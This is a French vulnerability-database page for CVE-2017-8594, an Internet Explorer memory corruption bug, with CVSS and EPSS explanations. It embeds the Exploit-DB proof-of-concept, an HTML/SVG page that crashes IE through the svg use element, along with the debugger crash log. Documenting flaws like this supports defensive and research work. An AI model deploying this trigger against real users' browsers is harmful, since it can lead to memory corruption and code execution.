CVE-2017-8594 : Détail

CVE-2017-8594

7.5
/
HIGH
Overflow
89.38%V3
Network
2017-07-10 22:00 +00:00
2017-08-11 13:57 +00:00

Alerte pour un CVE

Restez informé de toutes modifications pour un CVE spécifique.
Gestion des alertes

Descriptions

Internet Explorer on Microsoft Windows 8.1 and Windows RT 8.1, and Windows Server 2012 R2 allows an attacker to execute arbitrary code in the context of the current user when Internet Explorer improperly accesses objects in memory, aka "Internet Explorer Memory Corruption Vulnerability".

Informations

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-119 Improper Restriction of Operations within the Bounds of a Memory Buffer
The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.

Metrics

Metric Score Sévérité CVSS Vecteur Source
V3.0 7.5 HIGH CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

A vulnerability exploitable with network access means the vulnerable component is bound to the network stack and the attacker's path is through OSI layer 3 (the network layer). Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable one or more network hops away (e.g. across layer 3 boundaries from routers).

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

High

A successful attack depends on conditions beyond the attacker's control. That is, a successful attack cannot be accomplished at will, but requires the attacker to invest in some measurable amount of effort in preparation or execution against the vulnerable component before a successful attack can be expected.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

Required

Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

[email protected]
V2 7.6 AV:N/AC:H/Au:N/C:C/I:C/A:C [email protected]

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

EPSS Score

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

EPSS Percentile

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 42336

Date de publication : 2017-07-17 22:00 +00:00
Auteur : Google Security Research
EDB Vérifié : Yes

<!-- There is a memory corruption issue in IE that can be triggered with svg <use> element. The bug was confirmed on IE Version 11.0.9600.18617 (Update Version 11.0.40) running on Windows 7 64-bit. I was unable to reproduce it on Windows 10. PoC: ========================================== --> <!-- saved from url=(0014)about:internet --> <script> function go() { setTimeout("window.location.reload()",100); pattern.replaceChild(use,pattern.childNodes[0]); } </script> <body onload=go()> <!--this is a comment--> <svg> <use id="use" xlink:href="#fecomp"> <symbol> <feComposite id="fecomp" /> </use> <pattern id="pattern"> <foreignObject><body xmlns="http://www.w3.org/1999/xhtml"><output>2)lt</output> <!-- ========================================== Following is the crash log when the PoC is ran on 64-bit IE in the single process mode (TabProcGrowth=0). (1a38.2a98): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. MSHTML!CMarkup::DestroySplayTree+0x10a: 000007fe`e8de2723 48894110 mov qword ptr [rcx+10h],rax ds:00000000`700400d6=???????????????? 0:013> r rax=0000000012a69010 rbx=0000000012a68c78 rcx=00000000700400c6 rdx=0000000000000001 rsi=0000000012a68f20 rdi=0000000012a58000 rip=000007fee8de2723 rsp=0000000012d9bfb0 rbp=0000000012d9c029 r8=0000000000000000 r9=0000000012a58000 r10=0000000012a20000 r11=0000000000000025 r12=0000000012a68f20 r13=0000000012a68f20 r14=0000000012a20000 r15=0000000012a68bb0 iopl=0 nv up ei pl zr na po nc cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246 MSHTML!CMarkup::DestroySplayTree+0x10a: 000007fe`e8de2723 48894110 mov qword ptr [rcx+10h],rax ds:00000000`700400d6=???????????????? 0:013> k # Child-SP RetAddr Call Site 00 00000000`12d9bfb0 000007fe`e8de1ddc MSHTML!CMarkup::DestroySplayTree+0x10a 01 00000000`12d9c090 000007fe`e8ec9289 MSHTML!CMarkup::UnloadContents+0x49b 02 00000000`12d9c170 000007fe`e8ec9171 MSHTML!CMarkup::TearDownMarkupHelper+0xd5 03 00000000`12d9c1a0 000007fe`e90788b2 MSHTML!CMarkup::TearDownMarkup+0x75 04 00000000`12d9c1f0 000007fe`e998dc7a MSHTML!COmWindowProxy::SwitchMarkup+0x562 05 00000000`12d9c360 000007fe`e969ce9f MSHTML!COmWindowProxy::ExecRefresh+0xa3a 06 00000000`12d9c500 000007fe`e8d99d75 MSHTML!GlobalWndOnMethodCall+0x240 07 00000000`12d9c5a0 00000000`76dd9bbd MSHTML!GlobalWndProc+0x150 08 00000000`12d9c620 00000000`76dd98c2 USER32!UserCallWinProcCheckWow+0x1ad 09 00000000`12d9c6e0 000007fe`f2f83395 USER32!DispatchMessageWorker+0x3b5 0a 00000000`12d9c760 000007fe`f2f7df5b IEFRAME!CTabWindow::_TabWindowThreadProc+0x555 0b 00000000`12d9f9e0 000007fe`fd09572f IEFRAME!LCIETab_ThreadProc+0x3a3 0c 00000000`12d9fb10 000007fe`f0b7925f iertutil!Microsoft::WRL::ActivationFactory<Microsoft::WRL::Implements<Microsoft::WRL::FtmBase,Windows::Foundation::IUriRuntimeClassFactory,Microsoft::WRL::Details::Nil,Microsoft::WRL::Details::Nil,Microsoft::WRL::Details::Nil,Microsoft::WRL::Details::Nil,Microsoft::WRL::Details::Nil,Microsoft::WRL::Details::Nil,Microsoft::WRL::Details::Nil,Microsoft::WRL::Details::Nil>,Windows::Foundation::IUriEscapeStatics,Microsoft::WRL::Details::Nil,0>::GetTrustLevel+0x5f 0d 00000000`12d9fb40 00000000`76ed59cd IEShims!NS_CreateThread::DesktopIE_ThreadProc+0x9f 0e 00000000`12d9fb90 00000000`7700a561 kernel32!BaseThreadInitThunk+0xd 0f 00000000`12d9fbc0 00000000`00000000 ntdll!RtlUserThreadStart+0x1d -->

Products Mentioned

Configuraton 0

Microsoft>>Internet_explorer >> Version 11

Microsoft>>Windows_8.1 >> Version -

Microsoft>>Windows_rt_8.1 >> Version -

Microsoft>>Windows_server_2012 >> Version r2

References

http://www.securityfocus.com/bid/99401
Tags : vdb-entry, x_refsource_BID
https://www.exploit-db.com/exploits/42336/
Tags : exploit, x_refsource_EXPLOIT-DB
Cliquez sur le bouton à gauche (OFF), pour autoriser l'inscription de cookie améliorant les fonctionnalités du site. Cliquez sur le bouton à gauche (Tout accepter), pour ne plus autoriser l'inscription de cookie améliorant les fonctionnalités du site.